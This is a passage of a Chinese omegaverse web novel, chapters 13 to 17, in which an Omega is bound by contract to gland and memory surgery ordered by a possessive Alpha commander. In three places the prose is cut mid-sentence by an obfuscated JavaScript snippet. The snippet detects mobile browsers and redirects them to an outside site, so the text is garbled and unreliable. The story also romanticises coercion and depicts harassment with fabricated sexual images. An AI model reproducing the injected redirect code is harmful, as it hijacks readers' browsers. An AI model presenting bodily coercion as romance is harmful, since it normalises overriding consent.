“怎么样?”小老头笑呵呵地问他。“你现在想不想去看看他了?” 迟晓已经没有办法坦然拒绝。 因为还沉浸在刚恢复的记忆里,他对这个人抱有感激之情。 或许他们曾有过节,但这个人舍命救过他,已经两次。——记忆中的这一次和十几个小时前他逃跑的那一次。 如果他的出现能有利于稳定病情,他应该去看他,而且,他也有问题要问他。 . 秦瀚洋正在做梦。 他梦到和迟晓的第一次见面。 如果不是因为医生说,多接触Omega能有助分化,满脑子训练的他根本不会答应薛枫,去和Omega聚会。 没想到,那之后再检查,他的激素水平确实升高了。 家人安排,他又和纪麟羽见过几次面,但直到在展览馆里看见迟晓时,他才再次感受到波动。 微乎其微,但却是不容忽视的。 当时的他不明白原因,但是现在的他再清楚不过,是因为迟晓。 哪怕隔着整个房间的距离,他天然Omega的气息在吸引着他,使他在一群Omega中第一眼看见他。 可当时,他认出这就是聚会上那个化浓妆的俗气Omega,就厌恶地转开了眼,完全忽视那股悸动。 后来异种入侵,他进场救人,本来只当是个实战机会,却看见迟晓衣衫不整,被异种压住。 黑色怪物伸出细长口器,似乎想刺穿Omega的腺体,那一瞬间他的激素水平飙升,为他特制的精神力操控的枪,力量也猛然爆发,发射出不可思议的火力。 这不是秦瀚洋第一次做这个梦。 实际上,Omega那双伤痕累累的细白手腕,破碎染泪的目光,和粉蓝色校服遮不住的修长双腿,无数次出现在他梦里,带着某种奇怪的欲望,凌虐,怜惜以及独占! 但那都是许久之后的事。 年轻的他是那样迟钝,偏见是那样根深蒂固,压根没发现自己已经被吸引。 迟晓是他的! 他在梦里抱紧那个人,霸占他清冷如水甘甜如蜜的气息,可转眼间,那个柔弱的背影已经渐行渐远,他无论如何也追不上。 身体重重一沉,秦瀚洋喘着气醒来,心跳还未平复,先对上了一双眼睛。 那眼睛乌亮亮的,凝望着他,像两颗浸透了水汽的黑宝石。 没有远去,就在触手可及的距离。 是迟晓。 迟晓就在他身边! 14. 第 14 章 迟晓站在一台医疗舱前。 秦瀚洋病情太重,手术后被转移到盘古的随行医疗舰。医生们被教授带走了,屋里只有他一个人。 这台医疗舱的舱盖有三分之一是透明的,迟晓能看见一张熟悉又陌生的脸。和记忆中的少年相比,这人五官更加坚毅,轮廓也更加棱角鲜明。 这是一个魅力十足的Alpha,迟晓不得不承认。 只是他即使闭着眼,都散发出无形的压迫感和攻击性。 但是迟晓反而更靠近了些。 从被他抓住起,他从不敢正视这张脸超过一秒,这是个绝佳的锻炼胆量的机会。 他像被蛊惑一般微倾身体,细长睫毛抖动着,目光垂落在那人眉宇间,细细描画,试图分析出这人的性格。 光洁的额头,剑眉有力,眉间却有皱痕,看来这人脾气不太好或者总有心事。挑起的眉峰把阴影投在深陷的眼窝上,那是高傲与强势的象征,这样的人往往为达到目的不择手段。 浓墨般又黑又密的睫毛,给五官添上华贵的野性。还有嘴唇,嘴角微陷,多情而诱惑,他笑起来一定很迷人。 危险,强大,又迷人。 迟晓想起来,他似乎没见过他笑呢,不管是记忆里还是现在。 迟晓放·纵自己的视线最后停留在眼睛上。鹰一般的目光被遮掩,这面容便少了许多威慑,眼底有淡淡的乌青,显出几分脆弱。 可能是因为受伤的缘故吧。他想着。 受了这么重的伤,怎么可能他来看看就能苏醒。 迟晓看了眼时间,打算按教授说的,待一个小时就回去。 他坐在仪器边的观察椅上,百无聊赖地看着那人发呆,猜测他过的是多么无趣的人生,才会这样成天板着脸,蛮横不讲道理。 可他才坐了几分钟,突然,毫无预兆地,那双眼睛睁开了。 迟晓猝不及防,直直对上一双幽暗的瞳仁。 一瞬间,心脏猛地一跳。 那眼睛里像关着疯狂的野兽,下一刻就要破笼而出撕碎一切。迟晓感到窒息,仿佛已经被扼住了喉咙。 但只一秒,不,一秒都没到,窒息感散去了,那眼神陡然化开,化作一片深海,倒映着他的影子。 当迟晓都怀疑刚才的恐惧只是错觉时,那两片海柔和地荡漾了起来,秦瀚洋嘴唇动了动。 “……” 仪器玻璃罩阻隔了声音,迟晓听不到。 他这才想起来,秦瀚洋竟然真的醒来了! 必须快点通知教授! 迟晓转身就要出去,没几步,听到后面咚地一声巨响。 他回头,惊呆了。 那人不知做了什么,坚固的医疗盖裂了一条发丝一样的缝。 机器告警音尖锐地响了起来。 砰——! 眼看那人又一拳砸在舱门上,迟晓赶紧跑回去。 “别!你想出来吗,我给你打开舱门。” 这人真的太暴力了。 迟晓心惊胆战地按下按钮,舱门打开的同时,立刻被紧紧箍住了手腕。 “好痛!”他忍不住叫出声来,这人的力气大得可怕。 手立刻松了一点,但依然圈住他,还拉近了一些。 迟晓僵硬了。 他这时候才发现,这人上半身是赤·裸的,手背和胸口还连着细细的导线。迟晓的视野被大片白花花的紧实肉·体占满,吓得闭上了眼睛。但那人并没有做什么。 他只是在喘气。 迟晓睁开眼,看着那绷紧的宽厚肩膀慢慢放松下来。 他觉得眼前的人就像一只受伤的野兽。尤其是那一头厚厚的看上去毛蓬蓬的黑发。 这野兽好像抓着他就安心了,正在缓解被刚才爆发的力量透支的体力。 迟晓突然产生一种矛盾的心情,一边害怕一边又想上手摸一摸。 当然是不敢的。 他只能静静等待。 一片诡异的安静中只有报警音响个不停。真奇怪,动静这么大为什么还没有人进来。 他不知道,周围100米内的工作人员被充满独占欲的信息素威慑,早已远远躲开了。 又过了一会。迟晓有点忍不住了。他不习惯和陌生人靠得这么近,尤其对方还是个半赤·裸的Alpha。 直到那颗毛绒绒的脑袋压向他颈弯,终于忍不住开口。“我,我去叫医生来。” “不用!”野兽抬起头颅,焦急又压抑,距离近得再往前一点就能咬住迟晓的脖颈。迟晓又一次僵住了。 但很快,那人意识到自己的粗鲁,松开手。 迟晓的手腕上留下一圈红痕,他匆匆退到安全距离,没看到那人几不可查地握紧了手指。 距离拉开后,紧张的气氛才有所缓解。 秦瀚洋靠坐在医疗舱里,似乎已经恢复了平静。脸上的表情与前几次见面相比,堪称温和。 一睁眼就看见梦中逃离他的某人,正托着下巴毫无警惕心地看着自己,让他心情非常好。 他喜欢Omega乖乖陪伴他的模样。 “怎么在这?”他问,要听Omega亲口说担心他。 “江教授叫我来的。”迟晓实话实说,很不情愿的样子。 …… “哦,……”秦瀚洋嘴角自嘲地撇了下,好心情消失了一半。 他低头拆下两只手背上的针头和导线,眼眸从眉骨下方凝视迟晓。 “你记起腺研所展馆的事了,是吗?” 迟晓没说话,心想,这人不是才醒来吗?怎么什么都知道。 他不知道,他恢复的每一段记忆都是秦瀚洋用自己的回忆引导的,提取记忆的过程持续三个昼夜,所有感情都再次经历,对提取记忆的本人也是极大的损耗。 恢复记忆的治疗,秦瀚洋更是格外关注。 秦瀚洋也不用他回答,心知他来的原因,继续把左手的绷带全部拆开。 吓人的肿块已经消了,皮肤上只有一点淤血。迟晓惊讶于这人的生命力。 3S级的Alpha恢复力果然惊人。 秦瀚洋把带血的针头和管线团成一团,随意丢在一边,手臂撑在床沿,长腿一抬,轻松跨出医疗舱。 他随手一按,告警音戛然而止,转过身,站在迟晓面前,目光习惯性地俯视下来。 迟晓的身高只到秦瀚洋肩膀,成熟的Alpha身体突然迫近,带来巨大的压迫感,更不要说自上而下的俯视。 如果迟晓没有切除腺体,此刻秦瀚洋释放的铺天盖地的信息素早已经让他腿脚发软,陷入情.热期。 想要你! 想趁着你什么都忘记了,只知道我救过你,不好拒绝我的时候,要求更多,索取更多! 最好全部夺走! 但迟晓感受不到信息素,脆弱的身体也承受不了。 他只能咬牙压下渴望,转而展示自己的魅力。 迟晓曾经爱过他,现在,也一定会再次爱上他。 一开始,秦瀚洋赤''裸-的眼神,让迟晓想起之前差点被刺穿脖颈的惩罚。 他畏惧得想赶紧逃开,可这时候,Alpha突然改变姿态,冲他微微一笑。 那笑容实在勾人,嘴角陷下去一点,一如既往地张扬不羁,恣意释放魅力。 就好像,对眼前人很有好感,打算追求一样。 迟晓只感到窘迫。 果然Alpha都是只有动物本能的笨蛋,他想。随时随地开屏,不管对象适不适合,匹不匹配,连一个抵罪的试验品都要挑逗。 天……他还……! 迟晓张大眼睛,见秦瀚洋笑着靠近自己,伸出手,慢条斯理地像要拥抱他一样,却只是从他身后拿过军服的制式内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281337|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣,不紧不慢从头上套下去。 肉`体的灼热撩过身侧,肌肉线条起伏,宽肩窄腰的身材完美到极致,配上欲气的眼神,荷尔蒙海潮一般汹涌而来。 迟晓眼睛都不知道往哪里看。 在他脚趾扣地的功夫,秦瀚洋已经穿上军服外套。 两人视线交汇,迟晓脸颊飘红,眼神闪躲,秦瀚洋笑得更深了。 “还想看吗?但现在不行。”某少将意有所指地扣好胸前纽扣。 轰地一下,迟晓的脸烧起来了。 “谁要看你啊。” 自大狂! “不是江教授叫你来看我的吗?”秦瀚洋挑眉。 这人,偷换概念! “我不是来看你的,是来问你问题的。”迟晓愤愤道。 “哦,问吧。”秦瀚洋抱起胳膊,长腿交叠,靠在医疗舱外壁上,一派潇洒。 “……” 迟晓简直气结。这个人哪有一点伤员的样子。他还是不要醒来的好。 他单刀直入。 “你就是试验的委托人,对吗?” 秦瀚洋收起笑,定定看了他一会。 “对。” “为什么要恢复我的腺体和记忆?” “无可奉告。”秦瀚洋眼神转冷。“继续手术,你自然就知道了。” 就像他也迫切想知道,迟晓当年为什么背叛他,为什么千方百计逃离他。 在被他标记,哭着承认爱他,答应他的求婚后。 答案只能等,等迟晓回忆起一切。 被拒绝是意料之中,迟晓思考着。 如果一切都遵守协议,完成实验他就可以离开,那没有问题,可是,秦瀚洋是实验委托人,而他不相信这个喜怒无常的Alpha。 “恢复记忆和腺体,和我的罪名有关吗?” “等试验结束。”秦瀚洋坚持。 “那我犯了什么罪总能告诉我吧?” “等试验结束。” 永远都是这一句! 迟晓瞪着秦瀚洋,两人僵持了一会。 他鼓起勇气。 “如果不说清楚,我不会继续试验。” 秦瀚洋沉默了。 迟晓却有一种想后退,逃离的冲动。 又是这种感觉,即将被操控被掠夺的感觉。只要这个Alpha用压抑着什么的目光注视他,他就忍不住颤抖。 他为自己依然保有Omega的本能而悲哀。所以他不想做Omega,不想再臣服! Alpha向他伸出手。 迟晓一惊! 他又要做什么! “哎呀!你真的醒了。” 一个声音打断了Alpha的动作,也打破了令人窒息的压抑。 江教授两眼放光地踏进房间。 “我就说迟晓一来你的病情就能稳定,但是你竟然已经活蹦乱跳了?” “太神奇了。”江教授欢快道,围着秦瀚洋走了一圈,又捞起他的左手仔细打量。“简直不可思议!看起来毒素被控制住了!” 他又转向迟晓。“怎么样,我说的没错吧……欸?怎么了这是?” 迟晓脸色苍白,教授这才发现气氛不对。 他本以为两个年轻人经过这一遭能拉进点距离,没想到这两人没有一点进展,还闹僵了。 谁也没说话,凝重的寂静压在头顶。 最后,秦瀚洋冷冰冰道:“腺体移植最快什么时候可以开始?” 迟晓赶紧看向教授。 他的目光里带着恳切,他多么希望教授能拒绝。 可是,他再一次在这个老人脸上看到这种表情。 无能为力,还有一点怜惜。 老人避开他的视线。 “明天就可以。” “那就明天。”秦瀚洋说完,转身走出房间。 15. 第 15 章 这个人生气了。迟晓意识到。 可是他有什么好生气的?自己才更应该生气吧。他简直气到发抖。 又委屈又害怕又生气。 他引以为傲的逻辑性与理性在这人的压迫下荡然无存,先是被嘲弄,接着,被彻底忽视。 他要改造他的身体,而竟然完全不顾及他的意愿!简直荒谬。 江教授拍了拍迟晓的肩膀。 “我很抱歉。小迟,但是,如果你还记得腺研所的规定,签下的协议是不能违反的。” 协议。 这个字眼让迟晓打了个哆嗦,像噩梦般摆脱不掉。 是的,因为协议,秦瀚洋确实不需要顾及他。 作为联盟最顶级科研机构——腺体研究所曾经的研究员,迟晓很清楚违反协议的后果。 腺研所的科研进程受法律保护,实验志愿者必须全程配合实验。而实验执行者则必须保证志愿者的生命安全。同时,密级的等级越高,志愿者获得的报酬越高,相应的,违约要负出的代价也越大。 在无法获得委托人谅解的前提下,最高密级实验的违约者最高将被处以10年有期徒刑。 呵,还是逃不过牢狱之灾。这人从一开始就没给他留退路。迟晓苦笑一声。 江教授把这声笑当做他认命了。 “是啊,你知道的,他有权利要求,你也必须答应。而我的职责,是保证你的安全。你相信我的,对吗?” 迟晓没有点头也没有摇头。 他只希望试验结束,从此再也不要见到那个傲慢自大的家伙! —— 秦瀚洋大步走出病房。 白泽向他汇报了飞船被黑洞引力影响的情况,秦瀚洋在几秒内抛开情绪,召集紧急会议。 身为指挥官,他不是被感情影响判断的人。这也是部下信任追随他的原因。 启动应急预案,确定下一步方向,确保情况在掌握之中后,秦瀚洋结束会议,回到起居室,叫来白泽,调查迟晓突然逃跑的原因。 监控画面上出现那人赤脚出房门的身影,他冷笑了一下。 真的一点都不能大意。 这个Omega从来都是看着乖巧老实,却总能做出出人意料的事。 他越加无法平静。 他本来满心期待,迟晓记起自己曾救过他后会转变态度,不再以敌视的眼光看他。 可事情就是这么不凑巧。他委托实验的事被发现了,这个人竟然二话不说就逃跑。 还差点被异种杀死! 他现在回想起来都心有余悸。他就该给这人脚脖子上栓条链子,将他绑在身边才好! 这不是他第一次逃跑了。秦瀚洋恶狠狠地想。 刚才迟晓斩钉截铁拒绝移植时,他的怒气到达顶点。实际上,从看见他在荒星沙暴中被另一个Alpha抱住时,他就一直压着这股怒气。 不,或许更早,从五年前开始。 那时他在异种的巢穴里标记了迟晓,那人泛红的眼睛含着眼泪,白皙的皮肤上印着他的齿痕,可爱乖巧地像只小白兔。 小白兔边哭边答应再也不欺骗他,和他在一起,可转眼,就逃得无影无踪。 再找回来时,他标记过的Omega腺体,过往的一切,都被舍弃了。秦瀚洋觉得自己也被舍弃了。 他,联盟最强的SSS级Alpha,无数顶级O们梦寐以求的伴侣,被一个C级Omega舍弃了。甚至连原因都不知道。 他把迟晓当做珍宝,而珍宝却宁愿四分五裂也要离开他。 他难道不该愤怒吗?他对于迟晓到底算什么? 所以他一定要将珍宝恢复如初,他要听他亲口说出原因。 “好消息。”白泽突然发出声音。“迟晓在做术前检查了,他同意手术了。” 秦瀚洋看着光幕上正在接受查体的青年,并没有高兴多少。 “他必须做,不然就违反实验协议了。” 过了一会,他又问。“腺体手术要禁食吗?” “不用。您想...?” “他的餐标提高一档。” “已经是最高的了。” “那就再丰盛些。他太瘦了,需要多补充些营养。” 心疼压过了恼怒。 接下去的一小时,秦瀚洋都在给迟晓选定菜单,并且在这件事中体味到奇异的平静与满足。 —— 迟晓做完术前检查,回到房间。他一头倒在沙发里,像被拆散又装起来一般疲惫。 尽管这间房间的意义和以前不同,——像一个囚笼而非居所,但依然舒适。他肚子饿得咕咕叫也不想起来,去厨房拿食物。 这间房间配了个小厨房,智能灶台炊具一应俱全,但他不需要使用,也没有食材。每到饭点,厨房一角的机器里会出现一份营养餐,四菜一汤,热腾腾地装在白瓷餐具里,很是美味。 之前,迟晓吃了多年荒星粗食,总算得到改善,因此对每一餐都十分期待,一听到餐点到来的叮咚声就去取餐。 但是今天,叮咚声响起时,他没有动,他实在太累了。身心俱疲,无能为力的累。 但没多久,他就被钻入鼻腔的香味唤醒了。 好熟悉的香味,他抑制不住好奇,走进厨房。 今天的营养餐太过丰盛了。都不能称之为营养餐。 除了蔬菜,水果,小甜点,几样荤菜都是他最爱的口味。还有一碗鲜虾竹笋汤。 在一艘远航外空间的星舰上,大鱼大肉不算什么,新鲜才是最宝贵。 蔬菜水果已经算少见,那碗汤更加意义不同。 鲜虾竹笋汤是他最爱喝的汤,却算不得大众食谱,而且虾和笋都很难保鲜,迟晓想不通为什么军舰会配有这两样食材。 但香味实在太诱人了。他深吸一口气,坐下,先尝了一口汤,鲜甜的味道唤醒了味蕾,他忍不住又喝了几口,汤汁热烫,经过胸口进入胃里,身心都温暖了起来。 疲惫散去大半,家一般的感觉涌上心头。他好像又回到老家的小房子里,母亲端上一碗鲜虾竹笋汤,父亲在汤汁氤氲的雾气里对他微笑。 不敢再回想过多,迟晓闭上眼,捧起碗正要痛快地大喝几口,却听到哔的一声。 餐盘里,一小片透明薄片在他手腕边发光。 是一个光脑端口。 迟晓睁大眼睛,放下汤碗。 他自己的光脑早在切掉腺体时就丢弃了。这个新光脑是给他的吗? 光脑端口只要靠近人体就会发光,一闪一闪的蓝光好像在催促他带上。 他没有犹豫太久,将薄片贴在手腕上,薄片很快与皮肤融合,光脑启动。 迟晓点开主界面,全新的光脑里数据也是空空如也,但联系人那一栏却有一个号码。 号码很陌生,姓名那一栏写着“Q”,备注是“随时响应”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281338|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟晓眨眨眼,对他随时响应的大概只有医护人员了吧。“Q”大概指的是“QuickResponce”? 他没有多想,关上光脑。 —— 第二天,按照要求的时间,迟晓躺在了手术台上。 他面朝下趴着,听到江教授讲着笑话,这是医生让患者放松的小伎俩。 但他不需要。他很放松,好像这身体都不是他的。有什么可怕的,他不是第一次切开后颈了。 连流程他都很熟悉。先是冰凉的导管扎进手臂,更冰冷的麻醉剂注入血管。 接着,思维与知觉一起离开大脑,飘上半空。在朦胧中飘荡一阵,最终跌落在黑暗中。 但这次,黑暗没有接住他。除了感觉不到身体,他的意识异常清醒。有什么模糊的影像闪过脑海,他意识到,是神经元缓慢修复,使他的记忆不需要导入而恢复了一些。 当后颈被尖锐的刀锋划破时,他在回忆里睁开了眼睛。 他看见自己站在一个浅绿色房门前,后颈刺痛。 他一时间以为麻药没有起效,但随即想起来,这是他在腺研所展馆里被异种刺伤留下的疼痛。而眼前的门正是腺研所里江怀意办公室的门。 那次被秦瀚洋救出来后,第二天他是在医院苏醒的。 作为唯一自然分化的Omega,这次事件引起了轩然大波,联盟网络上全是关于事件始末的各种猜测。 外界吵翻了天,维护纪麟羽的人想翻他的黑历史,把他家里欠债的事翻了出来,各种污蔑,只有少数议论抱以同情和观望。 迟晓什么也不知道,他整个人还处在一种麻木迟钝的状态里。诊断是轻度的ptsd。 他在主星没有亲人,母亲忙于工作无法过来,希尔塔老师工作太忙走不开,于是江怀意自告奋勇来照顾他。 那时还是高级研究员的江怀意对迟晓很好。迟晓出院以后,还时不时和他联系。 这位亦师亦友的长辈给了迟晓很多帮助。舆论被纪家操控,各种污名泼向迟晓时,他为他出谋划策,使他可以在流言的风浪中保持平静,之后又鼓励迟晓,让他专注学业。 江怀意的一句话迟晓始终难忘。 “我无儿无女,你就像我的孩子一样,任何时候,你都可以来找我,我会尽我所能帮助你。” 于是,这一天,在接了一晚上母亲催婚的电话后,他偷偷跑出学院,来找江教授,希望他能为自己指点迷津。 只不过在门前,却意外碰到了一个人。 薛枫百无聊赖地靠在门边,看见他时,一双桃花眼倏然亮了。 他抚了一把卷曲刘海,像他主演的偶像剧里风流倜傥的贵公子一般,向迟晓走了过来。 迟晓下意识退后了一步。 俱乐部里的恐惧又袭上心头。当时这人叫手下捆住他的画面还历历在目。不知这次又想做什么。 迟晓转身想跑,但Alpha已经释放出信息素。 是苔藓的阴湿味,软弱粘腻,但足以使迟晓四肢无力。 他迈不开步,靠在墙上,听到身后男生的皮鞋不紧不慢踏在木地板上,声声逼近。 薛枫凑到他耳边,语气带着笑意和玩味。 “怎么不回我的信息,是觉得图片不好看吗?” 迟晓僵住了。 那些用自己的脸合成的有色图片和小视频,噩梦一样的东西,原来是薛枫做的! 16. 第 16 章 不等他从震惊中缓过神,男生又压低声音。 “红色绳索特别适合你,黑色紧身纱裙也不错,不觉得吗?你要是能那么听话,我可以把你捧成顶流。” 视频中不堪的画面涌入脑海,迟晓感到恶心,艰难地绕过他要走。 手腕却被一把抓住。 “哦,以为自己是自然分化的O,很了不起是吧?”薛枫冷笑。 “劣等C级而已!” 男生的表情是毫不掩饰的轻蔑。 “不过,味道却该死的上头。”他揪过迟晓衣领,吸了一口气,似乎在回忆那天引起Alpha骚动的诱人味道。 迟晓汗毛直竖,挣扎着要逃。 “逃什么,你不戴抑制环到处跑,不就是想勾引alpha吗?” 当然不是,精致的抑制环他买不起,抑制剂也只在情`热期最难受时,用一支学校提供的优惠款。主要是,他外貌不明显,谁又看得出他是Omega。 迟晓不想解释,只咬牙说:“放开我!” 薛枫冷哼一声。“纪麟羽可是把你赏给我了。给你打个临时标记,看你还听不听话!” 他说着凑了上来,Alpha信息素的青苔味越发浓郁,像水泡烂后的植物,迟晓后颈开始发热,整个人瘫软下来。 再这样下去他会被迫进入情`热期。 他几乎是用尽全力也推不开薛枫。 就在这时, 吱—— 研究室的门打开,一个高大的人影傲然出现在门口。 身后的压力陡然减轻,迟晓慢了两秒才发现,周遭的信息素已经淡去,他听到薛枫慌乱的声音。 “瀚,瀚洋。” 这个刚才还嚣张跋扈的Alpha此刻畏惧得像个被抓了现形的罪犯。 迟晓抬头,看到那个威慑住他的人。 秦瀚洋身姿挺拔,一身笔挺的军校制服,高挑的身影背对阳光,影子投在迟晓身上。 他脸上依旧是傲气又张扬的神情,在阴影里显出十足的冷意,居高临下扫视着门前的两人。 迟晓没想到会遇见他,一时之间愣住了,等他想起来可以向他求助时,秦瀚洋已经收回目光,仿佛什么也没看见一般,径直走了过去。 “瀚洋,可算等着你了!……”薛枫马不停蹄跟了上去。 两人很快走远了。 迟晓低着头。 多么可笑。 他还想着要当面感谢秦瀚洋,人家却压根没把他当回事,哪怕看见他被欺辱也无动于衷。 不,那表情,说不定还以为他和薛枫有什么。 …… 好一会儿后,迟晓平复了心情,才转身敲门。 里面江怀意说了声请进。 旁观回忆的迟晓不禁好奇,秦瀚洋来找江教授做什么呢?那时候他还没分化吧。 但年轻的迟晓沉浸在思绪里,默默进屋坐下。 直到江怀意问他,迟晓很不好意思地开口。“江伯伯,你们研究所还要研究自然分化吗?我愿意当志愿者,你们研究我吧。” 江怀意很是意外。“小迟,你怎么突然要当志愿者?你母亲不可能答应吧。” 为了不让他被当成试验品研究,他的母亲可是不惜将腺体研究所告上法庭。可是,昨天晚上,跟他打了一晚上电话痛斥他的也是母亲。 她先骂早逝的父亲只顾科研不顾家庭,留下大笔债务,又怪他只分化成C级,丢人的等级,分化了也没有一点好处,连还债都帮不上。 “Omega不是很有吸引力吗?去找Alpha呀!怎么一个能帮你还债的Alpha都钓不到吗?” “就你这样没用的腺体,还不知道爱惜!” “你怎么能让腺体受伤?你不知道,我们家还债全靠你是Omega吗!” 原来,母亲想挪用公款还债,被发现,开除了。别说还债,生活都成问题。她一贯好强又精明,这时差点崩溃,在电话里吼叫:“赶快找个有钱的Alpha嫁了,那个救你出来的男孩就不错!” 迟晓没有告诉她,那个男孩不是Alpha,就算是也不可能看上他。 之前俱乐部的遭遇让他明白,他一个无家世背景的劣等O,注定只会成为上等Alpha的玩物,被鄙视,被掠夺。 想还清债务,只能靠自己。 所以他才下定决心来找江怀意。 “江伯伯,你也知道我家欠了很多债,我想工作赚钱,可没有人会雇Omega,我只能找您了。当志愿者有报酬的,对吧?”他一口气说完,生怕自己反悔。 江怀意叹了口气。“当初我就反对拿你做实验,你倒自己跑上门来了。小迟,你好学又沉得下心,是个做研究的好苗子。要不,等你毕业,就来跟着我学,研究员的待遇很好,过个几年就能还上债务。而且要研究腺体自然分化,你不如自己研究自己。” “谢谢您,可是我现在就需要赚钱,我等不到毕业了。”迟晓眼眶红了。 “这...”江怀意为难地想了会,突然想到了什么,“对了,我倒是有个工作。只是你不能让任何人知道。” “我愿意。”迟晓毫不犹豫道。 “好,好。”江怀意点点头。 “刚才出去的那孩子,就是救你的人,你知道的吧?” 秦瀚洋?怎么突然说到他?迟晓不解地想。 “那孩子机甲作战是第一名,学习却不太行,他哥哥托我给他找个家教,酬劳丰厚,不如你去吧!” . 手术室里,江教授手上动作麻利,嘴里不时和助手打趣几句。 “多完美的腺体,”教授操作机器人小心地托起一小块人体组织,赞叹不已。“可惜沾了Alpha的信息素,那个自大的Alpha还不让去掉。” 手术室外,“自大的Alpha”正紧盯光屏,狡辩道:“有我的信息素更完美。” “这点量没什么意义,除了让他对你更敏感些,你还是需要再标记他。” “我当然会的。”秦瀚洋说。看着教授把那一小块粉色肉团放到无菌铺单下的切口中,心里扬起期待。 有了腺体,就有了Alpha与Omega之间的天然吸引力,晓晓就不会那么排斥他了。 秦瀚洋满怀希望地想。 可就在这时,监护仪突然嘀嘀报警。 “发生什么事了?”他贴近画面问。 “脑电波异常,”教授一边指挥助手上稳定剂一边回答。“应该是他的记忆在恢复。” 更多告警音响了起来。 ”再加大剂量!”教授扭头急速道。“不应该这么快导入记忆,他的情绪不稳,体征也会不稳。” 滴滴——!声音尖锐。 情况看上去更糟了! “不行,瀚洋,穿上手术服进来!” 秦瀚洋已经站起身,一听叫他,立刻行动。 他用最快的速度消毒穿手术服,一踏入手术室,告警音几乎震耳欲聋,催得他心脏狂跳。 “我该怎么做?”他尽量镇定地问。 江教授二话不说,往他手上扎了一针。 “借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281339|151846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的信息素。”教授命令。又补充,“一点就好。” 秦瀚洋的后颈热了起来,刚才那针是腺体促分泌的药,当年他无法分化时打过不少,可现在他一个成熟的Alpha打这个,就跟情·药没两样。 不过好在剂量少,他还能控制。 淡淡的咸涩的味道飘散开来,似有海风吹过。 哪怕只放出这么一点信息素,几个Alpha助手仍忍不住后退。 3S级Alpha的压迫感太强大了。 秦瀚洋眼望着手术台,好似什么别的都看不见。他慢慢靠过去,为那暴露出的血红切口心悸。 他现在才深切体会到,“切除腺体”是多么血淋淋的四个字,他更加不能理解,迟晓究竟是为什么做这个决定。 他用自己的信息素将手术台上的那个人笼住,像一片风平浪静的港湾。 “嘀—”最后一声告警声停止,迟晓的生命体征都已正常,教授让助手们出去,自己开始操纵手术机器人。 秦瀚洋失去了对时间的感觉,他觉得过去了一个世纪那么久,江教授才终于宣布手术完成。 “接下去的缝合包扎就是机器人的工作了,”江教授擦擦汗,“还好你们匹配度够高,才能产生相互感应。昨天他来看你的时候你也醒了,这真是科学难以解释的事。” 99.99的匹配度,有史以来从没有过这么高的匹配记录。当年匹配中心得出这一结果时,引起了轰动,可惜那时迟晓已经失踪,秦瀚洋只能封锁消息,四处找人。 现在,人找到了,却没有了腺体。 秦瀚洋压下复杂的情绪,问:“你说他情绪不稳是因为记忆导入太快,他记起了什么事?” “不知道,回忆过去总会有很多感慨,”江教授说,一边看着光屏显示的体征数据,“你要做好经常用信息素安慰他的准备。” 他早就准备好了。但是他想参与更多,他想知道迟晓的想法。 “教授,他导入记忆的时候,我想同步进入他的记忆。可以做到吗?”他说。 江教授讶异地看向他。 “技术上可以,可是,伦理守则不允许。” “你要看他的记忆干什么呢,都是和你有关的记忆,你也一样经历过。你总不会也失忆了?” 秦瀚洋不知该如何解释。“不,我只是...觉得自己不太了解他。” 江教授看了他一会,没说可以也没说不可以,反而转头摆弄手术器械。 等一切都处理好,机器人退到一边表示手术结束。他才看着秦瀚洋的眼睛,认真地说:“瀚洋,我是一路看着你们过来的。说句公道话,你对不起他,你们秦家更对不起他。” 秦瀚洋皱起眉头。 这种话在平时会被立刻逮捕,罪名是冒犯世家尊严,但这时的老教授不在乎。 “迟晓是唯一自然分化的Omega,你是因为他才分化成3S级的Alpha,而你们的匹配度高到不可能的程度,你知道这意味着什么吗?” “他是上天赐给你的礼物,你应该珍惜他,尊重他!” 礼物。 秦瀚洋对这个描述不能更赞同,可是他怎么不尊重迟晓了?吃穿住行,他样样都用最好的供着。还为他治疗损坏的身体。 他自认已经不是当年那个傲气得鼻孔朝天的傻小子了。 那个傻小子甚至连自己是靠迟晓分化这件事都不敢承认。 “我很尊重他。”他说。 江教授报以摇头加一声长叹。 “我当初就不该介绍他给你当家教。” 17. 第 17 章 迟晓的回忆还在继续。 他看见自己站在欧式庄园的铁门前,因为走了太远的山路而微微喘气。仲夏的骄阳毒辣,他的头发被汗水打湿成一缕一缕,贴在额头脸颊。 他把汗擦干净才郑重地按下门铃。 秦氏是联盟的老牌世家,在星际时代开始时曾拯救人类的命运,至高无上的荣耀和数代权势与财富的积累使他们成为云端之上的存在。 